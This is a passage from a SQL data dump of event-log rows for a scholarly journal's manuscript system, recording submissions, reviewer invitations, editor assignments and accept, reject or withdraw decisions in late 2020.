Submission form',6457,'Author',7724),(53167,'2020-10-22 11:12:10','Publisher: Accept Notification has been sent to Author',6217,'Publisher',85),(53195,'2020-10-22 13:56:09','Reviewer has submitted comments',6318,'Reviewer',14831),(53196,'2020-10-22 16:13:42','Author sent Email',6316,'Author',7562),(53242,'2020-10-23 04:54:47','Publisher has been Assigned Editor',6445,'Publisher',319),(53243,'2020-10-23 04:55:23','Publisher has Invited Reviewer',6445,'Publisher',319),(53244,'2020-10-23 04:55:24','Publisher has Invited Reviewer',6445,'Publisher',319),(53245,'2020-10-23 04:55:25','Publisher has Invited Reviewer',6445,'Publisher',319),(53246,'2020-10-23 04:55:26','Publisher has Invited Reviewer',6445,'Publisher',319),(53247,'2020-10-23 04:55:27','Publisher has Invited Reviewer',6445,'Publisher',319),(53248,'2020-10-23 04:55:28','Publisher has Invited Reviewer',6445,'Publisher',319),(53249,'2020-10-23 04:55:29','Publisher has Invited Reviewer',6445,'Publisher',319),(53250,'2020-10-23 04:55:29','Publisher has Invited Reviewer',6445,'Publisher',319),(53251,'2020-10-23 04:55:30','Publisher has Invited Reviewer',6445,'Publisher',319),(53272,'2020-10-23 05:38:06','Editor has Accepted to review Manuscript',6445,'Editor',1067),(53273,'2020-10-23 05:49:39','Publisher has been Assigned Editor',6457,'Publisher',988),(53274,'2020-10-23 05:49:57','Publisher has been Assigned Editor',6443,'Publisher',988),(53275,'2020-10-23 05:50:18','Publisher has been Assigned Editor',6429,'Publisher',988),(53276,'2020-10-23 05:50:31','Publisher has been Assigned Editor',6424,'Publisher',988),(53277,'2020-10-23 05:50:46','Publisher has been Assigned Editor',6420,'Publisher',988),(53285,'2020-10-23 06:41:01','Reviewer has submitted comments',6347,'Reviewer',13886),(53318,'2020-10-23 11:21:03','Manuscript Submitted by Author using Submission form',6466,'Author',7735),(53319,'2020-10-23 11:40:41','Reviewer has submitted comments',6445,'Reviewer',12875),(53320,'2020-10-23 14:10:37','Publisher : Notified Editor',6347,'Publisher',85),(53321,'2020-10-23 14:11:18','Editor has Accepted to review Manuscript',6347,'Editor',203),(53322,'2020-10-23 14:11:31','Editor has been Revise (Notify Author) article',6347,'Editor',203),(53323,'2020-10-23 14:13:11','Publisher : Notified Author',6347,'Publisher',85),(53383,'2020-10-24 07:03:23','Editor has been Editor Decision Accepted article',6261,'Editor',1235),(53386,'2020-10-24 07:03:52','Publisher has been Accepted Articles  article',6261,'Publisher',274),(53387,'2020-10-24 07:04:33','Publisher has Invited Reviewer',6389,'Publisher',274),(53388,'2020-10-24 07:04:34','Publisher has Invited Reviewer',6389,'Publisher',274),(53389,'2020-10-24 07:04:35','Publisher has Invited Reviewer',6389,'Publisher',274),(53390,'2020-10-24 07:04:35','Publisher has Invited Reviewer',6389,'Publisher',274),(53391,'2020-10-24 07:04:35','Publisher has Invited Reviewer',6389,'Publisher',274),(53393,'2020-10-24 08:32:52','Author sent Email',6170,'Author',7407),(53394,'2020-10-24 09:38:56','Publisher has Invited Reviewer',6390,'Publisher',673),(53395,'2020-10-24 09:38:57','Publisher has Invited Reviewer',6390,'Publisher',673),(53396,'2020-10-24 09:38:57','Publisher has Invited Reviewer',6390,'Publisher',673),(53397,'2020-10-24 09:38:57','Publisher has Invited Reviewer',6390,'Publisher',673),(53398,'2020-10-24 09:38:58','Publisher has Invited Reviewer',6390,'Publisher',673),(53399,'2020-10-24 09:38:58','Publisher has Invited Reviewer',6390,'Publisher',673),(53400,'2020-10-24 09:38:58','Publisher has Invited Reviewer',6390,'Publisher',673),(53401,'2020-10-24 09:38:59','Publisher has Invited Reviewer',6390,'Publisher',673),(53402,'2020-10-24 12:38:40','Publisher : Notified Author',5481,'Publisher',85),(53403,'2020-10-24 12:39:02','Publisher : Notified Author',6348,'Publisher',85),(53405,'2020-10-24 15:50:25','Reviewer has submitted comments',6346,'Reviewer',5743),(53425,'2020-10-26 03:35:09','Editor has Accepted to review Manuscript',6440,'Editor',194),(53426,'2020-10-26 03:35:14','Editor has been Editor Decision Accepted article',6440,'Editor',194),(53468,'2020-10-26 09:36:26','Publisher : Notified Editor',6346,'Publisher',85),(53469,'2020-10-26 09:37:20','Editor has been Revise (Notify Author) article',6346,'Editor',1393),(53470,'2020-10-26 09:38:29','Publisher : Notified Author',6346,'Publisher',85),(53471,'2020-10-26 09:38:53','Publisher has been Accepted Articles  article',6282,'Publisher',85),(53472,'2020-10-26 09:39:59','Publisher has been Accepted Articles  article',6217,'Publisher',85),(53534,'2020-10-27 02:20:31','Editor has Accepted to review Manuscript',6460,'Editor',194),(53535,'2020-10-27 02:20:40','Editor has been Editor Decision Accepted article',6460,'Editor',194),(53582,'2020-10-27 04:57:18','Author sent Email',6213,'Author',7459),(53631,'2020-10-27 11:17:45','Publisher : Notified Author',6348,'Publisher',85),(53632,'2020-10-27 11:18:00','Publisher : Notified Author',6347,'Publisher',85),(53633,'2020-10-27 11:18:11','Publisher : Notified Author',5481,'Publisher',85),(53649,'2020-10-27 16:27:31','Reviewer has submitted comments',6419,'Reviewer',10393),(53652,'2020-10-27 17:21:58','Editor has been Editor Decision Accepted article',6346,'Editor',1393),(53653,'2020-10-27 18:35:12','Manuscript Submitted by Author using Submission form',6496,'Author',7769),(53654,'2020-10-27 23:20:58','Manuscript Submitted by Author',6497,'Author',6984),(53667,'2020-10-28 03:39:06','Publisher: Accept Notification has been sent to Author',6273,'Publisher',673),(53668,'2020-10-28 03:39:28','Publisher has been Accepted Articles  article',6273,'Publisher',673),(53675,'2020-10-28 04:48:47','Publisher has been Withdrawn  article',6379,'Publisher',48),(53677,'2020-10-28 05:31:12','Publisher has been Assigned Editor',6497,'Publisher',274),(53687,'2020-10-28 08:00:38','Publisher : Notified Editor',6328,'Publisher',673),(53688,'2020-10-28 08:16:33','Editor has Accepted to review Manuscript',6328,'Editor',1370),(53689,'2020-10-28 09:15:18','Editor has been Editor Decision Accepted article',6328,'Editor',1370),(53692,'2020-10-28 10:37:02','Manuscript Submitted by Author',6502,'Author',7770),(53769,'2020-10-29 01:02:12','Manuscript Submitted by Author using Submission form',6506,'Author',7775),(53789,'2020-10-29 07:31:56','Publisher has been Assigned Editor',6496,'Publisher',274),(53790,'2020-10-29 07:33:05','Manuscript Updated',6496,'Publisher',274),(53804,'2020-10-29 09:53:26','Publisher has Invited Reviewer',6390,'Publisher',673),(53805,'2020-10-29 09:53:27','Publisher has Invited Reviewer',6390,'Publisher',673),(53806,'2020-10-29 09:53:27','Publisher has Invited Reviewer',6390,'Publisher',673),(53807,'2020-10-29 09:53:27','Publisher has Invited Reviewer',6390,'Publisher',673),(53808,'2020-10-29 09:53:28','Publisher has Invited Reviewer',6390,'Publisher',673),(53809,'2020-10-29 09:53:28','Publisher has Invited Reviewer',6390,'Publisher',673),(53871,'2020-10-29 17:17:46','Manuscript Submitted by Author using Submission form',6518,'Author',7783),(53895,'2020-10-30 02:58:36','Publisher : Notified Editor',6274,'Publisher',673),(53896,'2020-10-30 02:59:44','Publisher: Accept Notification has been sent to Author',6274,'Publisher',673),(53897,'2020-10-30 03:00:25','Publisher has been Accepted Articles  article',6274,'Publisher',673),(53901,'2020-10-30 04:52:39','Publisher has Invited Reviewer',6390,'Publisher',673),(53902,'2020-10-30 04:52:40','Publisher has Invited Reviewer',6390,'Publisher',673),(53903,'2020-10-30 04:52:40','Publisher has Invited Reviewer',6390,'Publisher',673),(53904,'2020-10-30 04:52:41','Publisher has Invited Reviewer',6390,'Publisher',673),(53905,'2020-10-30 04:52:41','Publisher has Invited Reviewer',6390,'Publisher',673),(53906,'2020-10-30 04:52:42','Publisher has Invited Reviewer',6390,'Publisher',673),(53914,'2020-10-30 07:18:37','Publisher has Invited Reviewer',6457,'Publisher',988),(53915,'2020-10-30 07:18:41','Publisher has Invited Reviewer',6457,'Publisher',988),(53916,'2020-10-30 07:19:46','Publisher has Invited Reviewer',6443,'Publisher',988),(53917,'2020-10-30 07:19:50','Publisher has Invited Reviewer',6443,'Publisher',988),(53918,'2020-10-30 07:20:14','Publisher has Invited Reviewer',6429,'Publisher',988),(53919,'2020-10-30 07:20:18','Publisher has Invited Reviewer',6429,'Publisher',988),(53920,'2020-10-30 07:20:49','Publisher has Invited Reviewer',6424,'Publisher',988),(53921,'2020-10-30 07:20:53','Publisher has Invited Reviewer',6424,'Publisher',988),(53922,'2020-10-30 07:21:24','Publisher has Invited Reviewer',6420,'Publisher',988),(53923,'2020-10-30 07:21:28','Publisher has Invited Reviewer',6420,'Publisher',988),(53964,'2020-10-30 14:06:34','Manuscript Submitted by Author using Submission form',6540,'Author',7802),(54000,'2020-10-31 08:37:24','Publisher has been Assigned Editor',6502,'Publisher',75),(54001,'2020-10-31 08:37:45','Publisher has been Assigned Editor',6506,'Publisher',75),(54005,'2020-10-31 09:56:25','Publisher has Invited Reviewer',6390,'Publisher',673),(54006,'2020-10-31 09:56:25','Publisher has Invited Reviewer',6390,'Publisher',673),(54007,'2020-10-31 09:56:55','Publisher has Invited Reviewer',6390,'Publisher',673),(54008,'2020-10-31 09:56:56','Publisher has Invited Reviewer',6390,'Publisher',673),(54009,'2020-10-31 09:56:56','Publisher has Invited Reviewer',6390,'Publisher',673),(54010,'2020-10-31 09:56:56','Publisher has Invited Reviewer',6390,'Publisher',673),(54011,'2020-10-31 09:56:57','Publisher has Invited Reviewer',6390,'Publisher',673),(54012,'2020-10-31 09:56:57','Publisher has Invited Reviewer',6390,'Publisher',673),(54016,'2020-10-31 10:52:57','Manuscript Submitted by Author',6549,'Author',4286),(54017,'2020-10-31 13:07:26','Publisher has been Assigned Editor',6518,'Publisher',84),(54018,'2020-10-31 16:23:16','Manuscript Submitted by Author',6551,'Author',7482),(54021,'2020-11-01 03:14:14','Editor has Accepted to review Manuscript',6502,'Editor',160),(54022,'2020-11-01 03:15:19','Editor has Invited Reviewer',6502,'Editor',160),(54023,'2020-11-01 03:15:24','Editor has Invited Reviewer',6502,'Editor',160),(54024,'2020-11-01 03:15:28','Editor has Invited Reviewer',6502,'Editor',160),(54025,'2020-11-01 03:15:33','Editor has Invited Reviewer',6502,'Editor',160),(54030,'2020-11-01 20:36:06','Manuscript Submitted by Author using Submission form',6559,'Author',7817),(54038,'2020-11-02 03:44:00','Publisher has been Withdrawn  article',5481,'Publisher',85),(54039,'2020-11-02 03:45:15','Publisher has Invited Reviewer',6086,'Publisher',85),(54040,'2020-11-02 03:45:16','Publisher has Invited Reviewer',6086,'Publisher',85),(54041,'2020-11-02 03:45:17','Publisher has Invited Reviewer',6086,'Publisher',85),(54042,'2020-11-02 03:45:18','Publisher has Invited Reviewer',6086,'Publisher',85),(54043,'2020-11-02 03:45:18','Publisher has Invited Reviewer',6086,'Publisher',85),(54044,'2020-11-02 03:45:19','Publisher has Invited Reviewer',6086,'Publisher',85),(54045,'2020-11-02 03:45:20','Publisher has Invited Reviewer',6086,'Publisher',85),(54046,'2020-11-02 03:45:21','Publisher has Invited Reviewer',6086,'Publisher',85),(54047,'2020-11-02 03:48:00','Publisher has Invited Reviewer',6153,'Publisher',85),(54048,'2020-11-02 03:48:01','Publisher has Invited Reviewer',6153,'Publisher',85),(54049,'2020-11-02 03:48:02','Publisher has Invited Reviewer',6153,'Publisher',85),(54050,'2020-11-02 03:48:03','Publisher has Invited Reviewer',6153,'Publisher',85),(54065,'2020-11-02 10:15:36','Publisher has Invited Reviewer',6368,'Publisher',75),(54066,'2020-11-02 10:15:51','Publisher has Invited Reviewer',6368,'Publisher',75),(54067,'2020-11-02 10:15:56','Publisher has Invited Reviewer',6368,'Publisher',75),(54068,'2020-11-02 10:16:00','Publisher has Invited Reviewer',6368,'Publisher',75),(54069,'2020-11-02 10:16:04','Publisher has Invited Reviewer',6368,'Publisher',75),(54070,'2020-11-02 10:17:54','Publisher has Invited Reviewer',6428,'Publisher',75),(54071,'2020-11-02 10:17:59','Publisher has Invited Reviewer',6428,'Publisher',75),(54072,'2020-11-02 10:18:03','Publisher has Invited Reviewer',6428,'Publisher',75),(54073,'2020-11-02 10:18:08','Publisher has Invited Reviewer',6428,'Publisher',75),(54075,'2020-11-02 10:40:52','Publisher has Invited Reviewer',6506,'Publisher',75),(54076,'2020-11-02 10:40:56','Publisher has Invited Reviewer',6506,'Publisher',75),(54077,'2020-11-02 10:41:01','Publisher has Invited Reviewer',6506,'Publisher',75),(54078,'2020-11-02 10:41:05','Publisher has Invited Reviewer',6506,'Publisher',75),(54079,'2020-11-02 10:41:09','Publisher has Invited Reviewer',6506,'Publisher',75),(54080,'2020-11-02 10:41:14','Publisher has Invited Reviewer',6506,'Publisher',75),(54081,'2020-11-02 10:41:18','Publisher has Invited Reviewer',6506,'Publisher',75),(54086,'2020-11-02 13:03:00','Author sent Email',6170,'Author',7407),(54102,'2020-11-02 15:30:56','Manuscript Submitted by Author using Submission form',6564,'Author',7823),(54145,'2020-11-03 07:48:39','Editor has Accepted to review Manuscript',6457,'Editor',1410),(54146,'2020-11-03 07:48:52','Editor has Accepted to review Manuscript',6443,'Editor',1410),(54147,'2020-11-03 07:49:07','Editor has Accepted to review Manuscript',6429,'Editor',1410),(54148,'2020-11-03 07:49:15','Editor has Accepted to review Manuscript',6424,'Editor',1410),(54149,'2020-11-03 07:49:24','Editor has Accepted to review Manuscript',6420,'Editor',1410),(54150,'2020-11-03 08:23:25','Editor has been Editor Decision Accepted article',6457,'Editor',1410),(54151,'2020-11-03 08:23:41','Editor has been Editor Decision Accepted article',6443,'Editor',1410),(54152,'2020-11-03 08:23:58','Editor has been Editor Decision Accepted article',6429,'Editor',1410),(54153,'2020-11-03 08:24:16','Editor has been Editor Decision Accepted article',6424,'Editor',1410),(54154,'2020-11-03 08:24:35','Editor has been Editor Decision Accepted article',6420,'Editor',1410),(54213,'2020-11-03 13:02:08','Publisher has been Accepted Articles  article',6235,'Publisher',319),(54214,'2020-11-03 13:03:03','Publisher has been Accepted Articles  article',5948,'Publisher',319),(54217,'2020-11-03 14:29:27','Manuscript Submitted by Author using Submission form',6571,'Author',7830),(54218,'2020-11-03 14:49:20','Manuscript Submitted by Author using Submission form',6572,'Author',7831),(54252,'2020-11-04 06:44:32','Publisher has been Assigned Editor',6466,'Publisher',248),(54276,'2020-11-04 12:53:23','Manuscript Submitted by Author using Submission form',6580,'Author',7837),(54277,'2020-11-04 13:07:14','Publisher has been Assigned Editor',6572,'Publisher',85),(54278,'2020-11-04 13:08:06','Publisher has Invited Reviewer',6572,'Publisher',85),(54279,'2020-11-04 13:08:07','Publisher has Invited Reviewer',6572,'Publisher',85),(54280,'2020-11-04 13:08:08','Publisher has Invited Reviewer',6572,'Publisher',85),(54281,'2020-11-04 13:08:09','Publisher has Invited Reviewer',6572,'Publisher',85),(54282,'2020-11-04 13:08:10','Publisher has Invited Reviewer',6572,'Publisher',85),(54283,'2020-11-04 13:08:11','Publisher has Invited Reviewer',6572,'Publisher',85),(54284,'2020-11-04 13:08:12','Publisher has Invited Reviewer',6572,'Publisher',85),(54285,'2020-11-04 13:08:14','Publisher has Invited Reviewer',6572,'Publisher',85),(54286,'2020-11-04 13:08:14','Publisher has Invited Reviewer',6572,'Publisher',85),(54287,'2020-11-04 13:08:16','Publisher has Invited Reviewer',6572,'Publisher',85),(54288,'2020-11-04 13:08:17','Publisher has Invited Reviewer',6572,'Publisher',85),(54289,'2020-11-04 13:08:17','Publisher has Invited Reviewer',6572,'Publisher',85),(54290,'2020-11-04 13:08:19','Publisher has Invited Reviewer',6572,'Publisher',85),(54291,'2020-11-04 13:08:20','Publisher has Invited Reviewer',6572,'Publisher',85),(54292,'2020-11-04 13:08:21','Publisher has Invited Reviewer',6572,'Publisher',85),(54293,'2020-11-04 13:09:37','Publisher has Invited Reviewer',6153,'Publisher',85),(54294,'2020-11-04 13:10:20','Publisher has Invited Reviewer',6086,'Publisher',85),(54295,'2020-11-04 13:10:21','Publisher has Invited Reviewer',6086,'Publisher',85),(54302,'2020-11-04 18:38:34','Reviewer has submitted comments',6153,'Reviewer',10962),(54303,'2020-11-04 19:12:21','Reviewer has submitted comments',6086,'Reviewer',10684),(54304,'2020-11-04 19:12:22','Reviewer has submitted comments',6086,'Reviewer',10684),(54305,'2020-11-04 19:13:17','Reviewer has submitted comments',5293,'Reviewer',10684),(54306,'2020-11-05 02:05:34','Manuscript Submitted by Author using Submission form',6582,'Author',7839),(54339,'2020-11-05 02:47:35','Publisher has been Assigned Editor',6564,'Publisher',75),(54340,'2020-11-05 03:26:00','Publisher has been Assigned Editor',6549,'Publisher',248),(54341,'2020-11-05 03:26:08','Publisher has been Assigned Editor',6540,'Publisher',248),(54342,'2020-11-05 04:00:44','Publisher has been Assigned Editor',6582,'Publisher',274),(54354,'2020-11-05 05:56:41','Publisher has Invited Reviewer',6518,'Publisher',84),(54355,'2020-11-05 05:56:45','Publisher has Invited Reviewer',6518,'Publisher',84),(54356,'2020-11-05 05:56:50','Publisher has Invited Reviewer',6518,'Publisher',84),(54357,'2020-11-05 05:56:54','Publisher has Invited Reviewer',6518,'Publisher',84),(54358,'2020-11-05 05:56:58','Publisher has Invited Reviewer',6518,'Publisher',84),(54359,'2020-11-05 05:57:03','Publisher has Invited Reviewer',6518,'Publisher',84),(54360,'2020-11-05 05:57:07','Publisher has Invited Reviewer',6518,'Publisher',84),(54361,'2020-11-05 05:57:12','Publisher has Invited Reviewer',6518,'Publisher',84),(54362,'2020-11-05 05:57:16','Publisher has Invited Reviewer',6518,'Publisher',84),(54363,'2020-11-05 05:57:20','Publisher has Invited Reviewer',6518,'Publisher',84),(54364,'2020-11-05 05:57:24','Publisher has Invited Reviewer',6518,'Publisher',84),(54365,'2020-11-05 05:57:29','Publisher has Invited Reviewer',6518,'Publisher',84),(54366,'2020-11-05 05:57:33','Publisher has Invited Reviewer',6518,'Publisher',84),(54367,'2020-11-05 05:57:38','Publisher has Invited Reviewer',6518,'Publisher',84),(54368,'2020-11-05 05:57:42','Publisher has Invited Reviewer',6518,'Publisher',84),(54369,'2020-11-05 05:57:47','Publisher has Invited Reviewer',6518,'Publisher',84),(54370,'2020-11-05 05:57:51','Publisher has Invited Reviewer',6518,'Publisher',84),(54371,'2020-11-05 05:57:55','Publisher has Invited Reviewer',6518,'Publisher',84),(54372,'2020-11-05 05:58:00','Publisher has Invited Reviewer',6518,'Publisher',84),(54373,'2020-11-05 05:58:04','Publisher has Invited Reviewer',6518,'Publisher',84),(54374,'2020-11-05 05:58:08','Publisher has Invited Reviewer',6518,'Publisher',84),(54375,'2020-11-05 05:58:13','Publisher has Invited Reviewer',6518,'Publisher',84),(54376,'2020-11-05 05:58:18','Publisher has Invited Reviewer',6518,'Publisher',84),(54377,'2020-11-05 05:58:22','Publisher has Invited Reviewer',6518,'Publisher',84),(54378,'2020-11-05 06:14:51','Publisher has Invited Reviewer',6518,'Publisher',84),(54379,'2020-11-05 06:14:56','Publisher has Invited Reviewer',6518,'Publisher',84),(54380,'2020-11-05 06:15:00','Publisher has Invited Reviewer',6518,'Publisher',84),(54381,'2020-11-05 06:15:07','Publisher has Invited Reviewer',6518,'Publisher',84),(54382,'2020-11-05 06:15:11','Publisher has Invited Reviewer',6518,'Publisher',84),(54383,'2020-11-05 06:16:36','Publisher has Invited Reviewer',6237,'Publisher',84),(54384,'2020-11-05 06:16:40','Publisher has Invited Reviewer',6237,'Publisher',84),(54385,'2020-11-05 06:16:44','Publisher has Invited Reviewer',6237,'Publisher',84),(54386,'2020-11-05 06:16:49','Publisher has Invited Reviewer',6237,'Publisher',84),(54387,'2020-11-05 06:16:53','Publisher has Invited Reviewer',6237,'Publisher',84),(54388,'2020-11-05 06:16:58','Publisher has Invited Reviewer',6237,'Publisher',84),(54389,'2020-11-05 06:17:02','Publisher has Invited Reviewer',6237,'Publisher',84),(54390,'2020-11-05 06:17:06','Publisher has Invited Reviewer',6237,'Publisher',84),(54391,'2020-11-05 06:17:11','Publisher has Invited Reviewer',6237,'Publisher',84),(54392,'2020-11-05 06:17:15','Publisher has Invited Reviewer',6237,'Publisher',84),(54395,'2020-11-05 06:26:43','Publisher has Invited Reviewer',6237,'Publisher',84),(54396,'2020-11-05 06:26:48','Publisher has Invited Reviewer',6237,'Publisher',84),(54397,'2020-11-05 07:03:20','Manuscript Submitted by Author using Submission form',6584,'Author',7841),(54426,'2020-11-05 10:15:33','Publisher has been Assigned Editor',6571,'Publisher',645),(54445,'2020-11-05 16:46:27','Publisher : Notified Editor',6153,'Publisher',85),(54446,'2020-11-05 16:46:54','Publisher : Notified Editor',6086,'Publisher',85),(54492,'2020-11-06 05:46:03','Manuscript Submitted by Author using Submission form',6591,'Author',7849),(54493,'2020-11-06 05:51:36','Manuscript Submitted by Author',6592,'Author',7849),(54530,'2020-11-06 09:08:26','Editor has Accepted to review Manuscript',6358,'Editor',194),(54531,'2020-11-06 09:08:33','Editor has been Editor Decision Accepted article',6358,'Editor',194),(54532,'2020-11-06 09:08:47','Editor has Accepted to review Manuscript',6463,'Editor',194),(54533,'2020-11-06 09:08:57','Editor has been Editor Decision Accepted article',6463,'Editor',194),(54534,'2020-11-06 09:09:16','Editor has Accepted to review Manuscript',6305,'Editor',194),(54536,'2020-11-06 09:09:38','Editor has Accepted to review Manuscript',6255,'Editor',194),(54537,'2020-11-06 09:09:53','Editor has been Editor Decision Accepted article',6255,'Editor',194),(54538,'2020-11-06 09:10:09','Editor has been Editor Decision Accepted article',6305,'Editor',194),(54539,'2020-11-06 09:10:27','Editor has Accepted to review Manuscript',5925,'Editor',194),(54540,'2020-11-06 09:10:43','Editor has been Editor Decision Accepted article',5925,'Editor',194),(54541,'2020-11-06 09:10:52','Editor has Accepted to review Manuscript',5877,'Editor',194),(54542,'2020-11-06 09:11:08','Editor has been Editor Decision Accepted article',5877,'Editor',194),(54582,'2020-11-06 12:25:07','Publisher has been Assigned Editor',6584,'Publisher',319),(54583,'2020-11-06 12:25:40','Publisher has Invited Reviewer',6584,'Publisher',319),(54584,'2020-11-06 12:25:41','Publisher has Invited Reviewer',6584,'Publisher',319),(54585,'2020-11-06 12:25:42','Publisher has Invited Reviewer',6584,'Publisher',319),(54586,'2020-11-06 12:25:44','Publisher has Invited Reviewer',6584,'Publisher',319),(54587,'2020-11-06 12:25:45','Publisher has Invited Reviewer',6584,'Publisher',319),(54588,'2020-11-06 12:25:46','Publisher has Invited Reviewer',6584,'Publisher',319),(54589,'2020-11-06 12:25:47','Publisher has Invited Reviewer',6584,'Publisher',319),(54590,'2020-11-06 12:25:48','Publisher has Invited Reviewer',6584,'Publisher',319),(54591,'2020-11-06 12:25:49','Publisher has Invited Reviewer',6584,'Publisher',319),(54592,'2020-11-06 12:49:02','Editor has Accepted to review Manuscript',6584,'Editor',1067),(54594,'2020-11-06 13:39:14','Publisher has Invited Reviewer',6584,'Publisher',319),(54595,'2020-11-06 13:39:15','Publisher has Invited Reviewer',6584,'Publisher',319),(54596,'2020-11-06 13:39:16','Publisher has Invited Reviewer',6584,'Publisher',319),(54604,'2020-11-07 03:05:07','Publisher has been Assigned Editor',6580,'Publisher',75),(54605,'2020-11-07 03:13:13','Editor has Accepted to review Manuscript',6580,'Editor',160),(54606,'2020-11-07 03:16:26','Editor has Invited Reviewer',6580,'Editor',160),(54607,'2020-11-07 03:16:30','Editor has Invited Reviewer',6580,'Editor',160),(54608,'2020-11-07 03:16:34','Editor has Invited Reviewer',6580,'Editor',160),(54609,'2020-11-07 03:16:39','Editor has Invited Reviewer',6580,'Editor',160),(54610,'2020-11-07 03:16:43','Editor has Invited Reviewer',6580,'Editor',160),(54646,'2020-11-07 07:34:39','Reviewer has submitted comments',6584,'Reviewer',12875),(54655,'2020-11-08 11:05:14','Author sent Email',6165,'Author',7399),(54668,'2020-11-09 06:54:15','Manuscript Submitted by Author using Submission form',6617,'Author',7873),(54727,'2020-11-09 12:02:08','Publisher has Invited Reviewer',6572,'Publisher',85),(54728,'2020-11-09 12:02:44','Publisher has Invited Reviewer',6572,'Publisher',85),(54729,'2020-11-09 12:02:45','Publisher has Invited Reviewer',6572,'Publisher',85),(54730,'2020-11-09 12:02:47','Publisher has Invited Reviewer',6572,'Publisher',85),(54731,'2020-11-09 12:25:06','Publisher: Accept Notification has been sent to Author',6328,'Publisher',673),(54732,'2020-11-09 12:25:26','Publisher has been Accepted Articles  article',6328,'Publisher',673),(54795,'2020-11-10 07:30:02','Publisher: Accept Notification has been sent to Author',6232,'Publisher',75),(54796,'2020-11-10 07:39:22','Publisher has been Rejected Articles  article',5989,'Publisher',75),(54797,'2020-11-10 07:40:22','Publisher has been Accepted Articles  article',5232,'Publisher',75),(54798,'2020-11-10 07:40:32','Publisher has been Accepted Articles  article',5126,'Publisher',75),(54799,'2020-11-10 07:40:45','Publisher has been Accepted Articles  article',5187,'Publisher',75),(54800,'2020-11-10 07:48:05','Publisher has been Rejected Articles  article',5366,'Publisher',75),(54801,'2020-11-10 07:49:04','Publisher has been Withdrawn  article',5420,'Publisher',75),(54802,'2020-11-10 07:50:19','Publisher has been Rejected Articles  article',5712,'Publisher',75),(54803,'2020-11-10 09:12:58','Reviewer has been sent email to Publisher',2723,'Reviewer',11264),(54816,'2020-11-10 11:08:10','Publisher : Notified Editor',6390,'Publisher',673),(54817,'2020-11-10 11:12:11','Editor has Accepted to review Manuscript',6390,'Editor',1370),(54818,'2020-11-10 11:12:48','Editor has been Editor Decision Accepted article',6390,'Editor',1370),(54831,'2020-11-10 12:49:01','Publisher has Invited Reviewer',6227,'Publisher',376),(54832,'2020-11-10 12:49:06','Publisher has Invited Reviewer',6227,'Publisher',376),(54833,'2020-11-10 12:49:10','Publisher has Invited Reviewer',6227,'Publisher',376),(54834,'2020-11-10 12:49:56','Publisher has Invited Reviewer',6165,'Publisher',376),(54835,'2020-11-10 12:50:00','Publisher has Invited Reviewer',6165,'Publisher',376),(54836,'2020-11-10 12:50:04','Publisher has Invited Reviewer',6165,'Publisher',376),(54837,'2020-11-10 12:50:09','Publisher has Invited Reviewer',6165,'Publisher',376),(54838,'2020-11-10 12:50:51','Publisher has Invited Reviewer',6139,'Publisher',376),(54839,'2020-11-10 12:50:55','Publisher has Invited Reviewer',6139,'Publisher',376),(54840,'2020-11-10 12:51:27','Publisher has Invited Reviewer',6085,'Publisher',376),(54841,'2020-11-10 12:51:31','Publisher has Invited Reviewer',6085,'Publisher',376),(54842,'2020-11-10 12:52:12','Publisher has Invited Reviewer',6043,'Publisher',376),(54843,'2020-11-10 12:52:17','Publisher has Invited Reviewer',6043,'Publisher',376),(54844,'2020-11-10 12:52:21','Publisher has Invited Reviewer',6043,'Publisher',376),(54845,'2020-11-10 12:52:26','Publisher has Invited Reviewer',6043,'Publisher',376),(54846,'2020-11-10 12:52:30','Publisher has Invited Reviewer',6043,'Publisher',376),(54856,'2020-11-10 13:59:46','Editor has Accepted to review Manuscript',6419,'Editor',1324),(54857,'2020-11-10 13:59:57','Editor has been Editor Decision Accepted article',6419,'Editor',1324),(54858,'2020-11-10 14:00:38','Publisher has been Accepted Articles  article',6419,'Publisher',972),(54900,'2020-11-11 08:08:33','Publisher has Invited Reviewer',6191,'Publisher',248),(54901,'2020-11-11 08:08:34','Publisher has Invited Reviewer',6191,'Publisher',248),(54902,'2020-11-11 08:08:34','Publisher has Invited Reviewer',6191,'Publisher',248),(54903,'2020-11-11 08:08:55','Publisher has Invited Reviewer',6549,'Publisher',248),(54904,'2020-11-11 08:08:56','Publisher has Invited Reviewer',6549,'Publisher',248),(54905,'2020-11-11 08:08:56','Publisher has Invited Reviewer',6549,'Publisher',248),(54906,'2020-11-11 08:09:22','Publisher has Invited Reviewer',6466,'Publisher',248),(54907,'2020-11-11 08:09:22','Publisher has Invited Reviewer',6466,'Publisher',248),(54908,'2020-11-11 08:09:23','Publisher has Invited Reviewer',6466,'Publisher',248),(54909,'2020-11-11 08:09:43','Publisher has Invited Reviewer',6351,'Publisher',248),(54910,'2020-11-11 08:09:43','Publisher has Invited Reviewer',6351,'Publisher',248),(54911,'2020-11-11 08:09:44','Publisher has Invited Reviewer',6351,'Publisher',248),(54912,'2020-11-11 08:10:10','Publisher has Invited Reviewer',6540,'Publisher',248),(54913,'2020-11-11 08:10:10','Publisher has Invited Reviewer',6540,'Publisher',248),(54914,'2020-11-11 08:10:11','Publisher has Invited Reviewer',6540,'Publisher',248),(54915,'2020-11-11 08:10:37','Publisher has Invited Reviewer',6239,'Publisher',248),(54916,'2020-11-11 08:11:06','Publisher has Invited Reviewer',6069,'Publisher',248),(54917,'2020-11-11 08:11:07','Publisher has Invited Reviewer',6069,'Publisher',248),(54918,'2020-11-11 08:11:07','Publisher has Invited Reviewer',6069,'Publisher',248),(54920,'2020-11-11 08:16:05','Manuscript Submitted by Author',6630,'Author',4560),(54954,'2020-11-11 10:10:45','Publisher has been Assigned Editor',6591,'Publisher',75),(54955,'2020-11-11 10:10:59','Publisher has been Assigned Editor',6592,'Publisher',75),(54956,'2020-11-11 10:11:12','Publisher has been Assigned Editor',6617,'Publisher',75),(54958,'2020-11-11 10:51:57','Reviewer has submitted comments',5912,'Reviewer',5409),(54959,'2020-11-11 10:52:52','Publisher : Notified Editor',5912,'Publisher',248),(54960,'2020-11-11 10:54:14','Editor has Accepted to review Manuscript',5912,'Editor',359),(54961,'2020-11-11 10:54:35','Editor has been Editor Decision Accepted article',5912,'Editor',359),(54962,'2020-11-11 10:54:59','Publisher has been Accepted Articles  article',5912,'Publisher',248),(54967,'2020-11-11 12:48:48','Publisher has been Assigned Editor',6630,'Publisher',319),(54968,'2020-11-11 12:50:04','Editor has been Revise (Notify Author) article',6584,'Editor',1067),(54969,'2020-11-11 12:58:55','Publisher : Notified Author',6584,'Publisher',319),(54970,'2020-11-11 14:19:47','Editor has been Editor Decision Accepted article',6445,'Editor',1067),(54971,'2020-11-11 14:20:33','Editor has been 